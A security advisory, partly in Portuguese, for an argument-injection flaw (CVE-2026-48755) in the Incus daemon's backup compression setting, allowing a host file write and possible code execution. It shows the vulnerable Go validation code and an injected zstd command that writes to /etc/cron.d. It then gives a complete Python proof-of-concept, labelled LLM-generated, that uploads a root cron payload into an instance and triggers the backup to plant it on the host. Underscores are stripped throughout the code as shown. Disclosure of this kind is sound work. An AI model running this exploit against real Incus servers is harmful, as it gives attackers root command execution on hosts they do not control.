PT-2026-53014 · Go · Github.Com/Lxc/Incus/V7/Cmd/Incusd

Publicado

2026-06-26

·

Atualizado

2026-06-26

·

CVE-2026-48755

CVSS v3.1

9.9

Crítica

VetorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution.

Details

Incus validates compression algorithm by parsing it into fields and checking only the first token against an allowlist:
go
fields, err := shellquote.Split(value)
...
if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) {
  return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0])
}
 , err = exec.LookPath(fields[0])
Extra arguments are not rejected. compressFile() then prepends -c and passes the remaining user-supplied fields to the compressor:
go
args := []string{"-c"}
if len(fields) > 1 {
  args = append(args, fields[1:]...)
}
cmd := exec.Command(fields[0], args...)
cmd.Stdin = infile
cmd.Stdout = outfile
With a value like:
text
zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload
the daemon executes the equivalent of:
text
zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload

PoC

python3 poc.py 
	--insecure --url https://remote-incus:8443 
	--cert ~/.config/incus/client.crt --key ~/.config/incus/client.key 
	--instance c01 
	--execute --yes-i-understand-this-writes-host-file
The following was generated by an LLM model.
#!/usr/bin/env python3
"""Short remote Incus backup compression zstd cron RCE PoC.

Dry-run is the default. --execute uploads a cron payload into an instance and then asks Incus for a direct backup with a zstd argument-injection compressor:

  zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source>

The direct backup may fail after zstd runs; the host file write is the primitive. Use only on an authorized Incus server.
"""

from  future  import annotations

import argparse
import json
import os
import shlex
import sys
import urllib.parse
from pathlib import PurePosixPath
from typing import Any

import requests


def q(value: str) -> str:
  return urllib.parse.quote(value, safe="")


def api(base: str, endpoint: str, **params: str) -> str:
  return base.rstrip("/") + endpoint + ("?" + urllib.parse.urlencode(params) if params else "")


def project instance(project: str, instance: str) -> str:
  return instance if project == "default" else f"{project} {instance}"


def clean guest path(path: str) -> str:
  if not path.startswith("/"):
    raise ValueError("--guest-path must be absolute")
  if ".." in PurePosixPath(path).parts:
    raise ValueError("--guest-path must not contain '..'")
  return os.path.normpath("/" + path.lstrip("/")).lstrip("/")


def source path(args: argparse.Namespace) -> str:
  if args.source host path:
    return args.source host path
  return os.path.join(
    args.incus dir,
    "storage-pools",
    args.pool,
    args.storage kind,
    project instance(args.project, args.instance),
    "rootfs",
    clean guest path(args.guest path),
  )


def cron(command: str) -> bytes:
  return f"* * * * * root /bin/sh -c {shlex.quote(command)}
".encode()


def session(args: argparse.Namespace) -> requests.Session:
  s = requests.Session()
  s.verify = False if args.insecure else (args.cacert or True)
  if args.cert or args.key:
    s.cert = (args.cert, args.key)
  if args.token:
    s.headers["Authorization"] = "Bearer " + args.token
  s.headers["User-Agent"] = "incus-zstd-backup-rce-poc"
  if args.insecure:
    requests.packages.urllib3.disable warnings() # type: ignore[attr-defined]
  return s


def check(resp: requests.Response, what: str) -> requests.Response:
  if resp.status code >= 400:
    try:
      detail: Any = resp.json()
    except Exception:
      detail = resp.text[:2048]
    raise RuntimeError(f"{what} failed: HTTP {resp.status code}: {detail}")
  return resp


def upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None:
  url = api(args.url, f"/1.0/instances/{q(args.instance)}/files", project=args.project, path=args.guest path)
  headers = {
    "Content-Type": "application/octet-stream",
    "X-Incus-type": "file",
    "X-Incus-write": "overwrite",
    "X-Incus-uid": "0",
    "X-Incus-gid": "0",
    "X-Incus-mode": "0644",
  }
  print(f"[*] uploading cron payload to {args.instance}:{args.guest path}")
  check(s.post(url, data=payload, headers=headers, timeout=args.timeout), "payload upload")


def trigger backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None:
  url = api(args.url, f"/1.0/instances/{q(args.instance)}/backups", project=args.project)
  print("[*] sending direct backup request")
  resp = s.post(
    url,
    data=json.dumps(body).encode(),
    headers={"Accept": "application/octet-stream", "Content-Type": "application/json"},
    timeout=args.timeout,
    stream=True,
  )
  print(f"[*] backup HTTP {resp.status code}")
  resp.close()
  if resp.status code >= 400:
    print("[*] HTTP error after compressor launch is possible; check whether the cron file was written")


def parse args() -> argparse.Namespace:
  p = argparse.ArgumentParser(description="Remote Incus zstd backup-compression cron RCE PoC")
  p.add argument("--url", required=True, help="https://host:8443")
  p.add argument("--cert", help="client certificate PEM")
  p.add argument("--key", help="client private key PEM")
  p.add argument("--cacert", help="CA certificate PEM")
  p.add argument("--token", help="bearer token")
  p.add argument("--insecure", action="store true", help="disable TLS verification")
  p.add argument("--timeout", type=int, default=180)

  p.add argument("--project", default="default")
  p.add argument("--instance", required=True)
  p.add argument("--pool", default="default")
  p.add argument("--storage-kind", choices=["containers", "virtual-machines"], default="containers")
  p.add argument("--incus-dir", default="/var/lib/incus")
  p.add argument("--guest-path", default="/incus-zstd-cron")
  p.add argument("--source-host-path", help="override daemon-readable host path for the staged payload")
  p.add argument("--cron-path", default="/etc/cron.d/incus-zstd-rce")
  p.add argument("--command", default="date >/incus-zstd-rce; id >>/incus-zstd-rce")

  p.add argument("--execute", action="store true", help="stage payload and send backup request")
  p.add argument("--yes-i-understand-this-writes-host-file", action="store true", help="required with --execute")
  args = p.parse args()

  if urllib.parse.urlparse(args.url).scheme != "https":
    p.error("--url must use https")
  if bool(args.cert) != bool(args.key):
    p.error("--cert and --key must be supplied together")
  if args.execute and not args.yes i understand this writes host file:
    p.error("--execute requires --yes-i-understand-this-writes-host-file")
  try:
    clean guest path(args.guest path)
  except ValueError as exc:
    p.error(str(exc))

  args.url = args.url.rstrip("/")
  return args


def main() -> int:
  args = parse args()
  src = source path(args)
  payload = cron(args.command)
  compressor = f"zstd -d -f --pass-through -o {shlex.quote(args.cron path)} -- {shlex.quote(src)}"
  body = {"compression algorithm": compressor, "instance only": True}

  print("[*] target:", args.url)
  print("[*] project:", args.project)
  print("[*] instance:", args.instance)
  print("[*] source host path:", src)
  print("[*] cron path:", args.cron path)
  print("[*] payload:", payload.decode().rstrip())
  print("[*] backup body:", json.dumps(body, sort keys=True))

  if not args.execute:
    print("[*] dry run only; add --execute and the confirmation flag to act")
    return 0

  s = session(args)
  upload(s, args, payload)
  trigger backup(s, args, body)
  return 0


if  name  == " main ":
  try:
    raise SystemExit(main())
  except BrokenPipeError:
    raise SystemExit(1)
  except Exception as exc:
    print(f"[-] {exc}", file=sys.stderr)
    raise SystemExit(1)

Impact

Improperly validated compression algorithm argument leads to argument injection leading to arbitrary file write with zstd and possibly arbitrary command execution.

Correção

RCE

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

CVE-2026-48755
GHSA-V6MJ-8PF4-HHW4

Produtos afetados

Github.Com/Lxc/Incus/V7/Cmd/Incusd